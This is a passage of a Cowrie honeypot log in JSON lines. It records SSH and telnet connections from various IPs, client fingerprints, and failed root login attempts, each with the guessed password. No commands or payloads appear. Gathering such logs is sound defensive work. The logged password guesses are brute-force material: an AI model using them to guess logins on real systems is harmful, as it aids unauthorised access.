{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:25:59.890757Z","src_ip":"165.154.227.158","session":"b12ebead1440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:00.109718Z","src_ip":"165.154.227.158","session":"b12ebead1440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lanto","message":"login attempt [root/lanto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:01.015059Z","src_ip":"165.154.227.158","session":"b12ebead1440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:02.242091Z","src_ip":"165.154.227.158","session":"b12ebead1440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.48473787307739,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:02.283652Z","src_ip":"152.42.224.71","session":"0f6dcd9c4fc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":53766,"dst_ip":"10.17.0.5","dst_port":22,"session":"3180710771cb","protocol":"ssh","message":"New connection: 165.154.6.86:53766 (10.17.0.5:22) [session: 3180710771cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:06.374301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:06.379022Z","src_ip":"165.154.6.86","session":"3180710771cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:06.595436Z","src_ip":"165.154.6.86","session":"3180710771cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superuser","message":"login attempt [root/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:07.491177Z","src_ip":"165.154.6.86","session":"3180710771cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:08.710726Z","src_ip":"165.154.6.86","session":"3180710771cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.049747467041016,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:08.759278Z","src_ip":"152.42.224.71","session":"ca1e1005a552","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36980,"dst_ip":"10.17.0.5","dst_port":23,"session":"2699f056f36f","protocol":"telnet","message":"New connection: 152.42.224.71:36980 (10.17.0.5:23) [session: 2699f056f36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:10.549693Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33970,"dst_ip":"10.17.0.5","dst_port":22,"session":"8207fa185808","protocol":"ssh","message":"New connection: 89.223.69.22:33970 (10.17.0.5:22) [session: 8207fa185808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:11.949053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:11.958668Z","src_ip":"89.223.69.22","session":"8207fa185808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:12.071539Z","src_ip":"89.223.69.22","session":"8207fa185808","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456b","message":"login attempt [root/123456b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:12.409239Z","src_ip":"89.223.69.22","session":"8207fa185808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37006,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b29e0f38eb1","protocol":"telnet","message":"New connection: 152.42.224.71:37006 (10.17.0.5:23) [session: 4b29e0f38eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:12.836672Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36992,"dst_ip":"10.17.0.5","dst_port":23,"session":"78e6c52df446","protocol":"telnet","message":"New connection: 152.42.224.71:36992 (10.17.0.5:23) [session: 78e6c52df446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:13.321311Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37022,"dst_ip":"10.17.0.5","dst_port":23,"session":"316bf79f288b","protocol":"telnet","message":"New connection: 152.42.224.71:37022 (10.17.0.5:23) [session: 316bf79f288b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:13.343815Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:13.524588Z","src_ip":"89.223.69.22","session":"8207fa185808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":47296,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4841f349484","protocol":"ssh","message":"New connection: 166.1.144.134:47296 (10.17.0.5:22) [session: b4841f349484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:18.998843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:19.021776Z","src_ip":"166.1.144.134","session":"b4841f349484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:19.119275Z","src_ip":"166.1.144.134","session":"b4841f349484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00139260292053,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:19.468726Z","src_ip":"152.42.224.71","session":"b9a33c1b1157","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"brick","message":"login attempt [root/brick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:19.514841Z","src_ip":"166.1.144.134","session":"b4841f349484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:20.621008Z","src_ip":"166.1.144.134","session":"b4841f349484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.648250341415405,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:21.969454Z","src_ip":"152.42.224.71","session":"78e6c52df446","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.551811456680298,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:24.725092Z","src_ip":"152.42.224.71","session":"fc930f6bfc26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00133109092712,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:25.275673Z","src_ip":"152.42.224.71","session":"1f2b2d34fa9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.04537320137024,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:25.654406Z","src_ip":"152.42.224.71","session":"f23bba21ad0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":44926,"dst_ip":"10.17.0.5","dst_port":22,"session":"b324100d570e","protocol":"ssh","message":"New connection: 117.121.214.50:44926 (10.17.0.5:22) [session: b324100d570e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:25.703363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:25.710238Z","src_ip":"117.121.214.50","session":"b324100d570e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:25.963747Z","src_ip":"117.121.214.50","session":"b324100d570e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":53056,"dst_ip":"10.17.0.5","dst_port":22,"session":"d97c219844b3","protocol":"ssh","message":"New connection: 43.135.139.74:53056 (10.17.0.5:22) [session: d97c219844b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:26.437145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:26.442595Z","src_ip":"43.135.139.74","session":"d97c219844b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:26.511860Z","src_ip":"43.135.139.74","session":"d97c219844b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:26.817728Z","src_ip":"43.135.139.74","session":"d97c219844b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456","message":"login attempt [root/789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:27.007095Z","src_ip":"117.121.214.50","session":"b324100d570e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:27.889985Z","src_ip":"43.135.139.74","session":"d97c219844b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:28.263961Z","src_ip":"117.121.214.50","session":"b324100d570e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":48736,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c3345ae79a1","protocol":"ssh","message":"New connection: 103.98.149.87:48736 (159.203.135.109:22) [session: 3c3345ae79a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:31.456943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:31.669072Z","src_ip":"103.98.149.87","session":"3c3345ae79a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:31.756792Z","src_ip":"103.98.149.87","session":"3c3345ae79a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.46277570724487,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:32.111064Z","src_ip":"152.42.224.71","session":"432eb7384815","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"159159","message":"login attempt [root/159159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:32.929638Z","src_ip":"103.98.149.87","session":"3c3345ae79a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:34.174149Z","src_ip":"103.98.149.87","session":"3c3345ae79a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00493621826172,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:37.752867Z","src_ip":"152.42.224.71","session":"02794137f4dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.68840837478638,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:38.922347Z","src_ip":"152.42.224.71","session":"5b6cb2029a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59790,"dst_ip":"159.203.135.109","dst_port":22,"session":"c16dc643159a","protocol":"ssh","message":"New connection: 51.250.105.222:59790 (159.203.135.109:22) [session: c16dc643159a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:39.013539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:39.018997Z","src_ip":"51.250.105.222","session":"c16dc643159a","protocol":"ssh"}
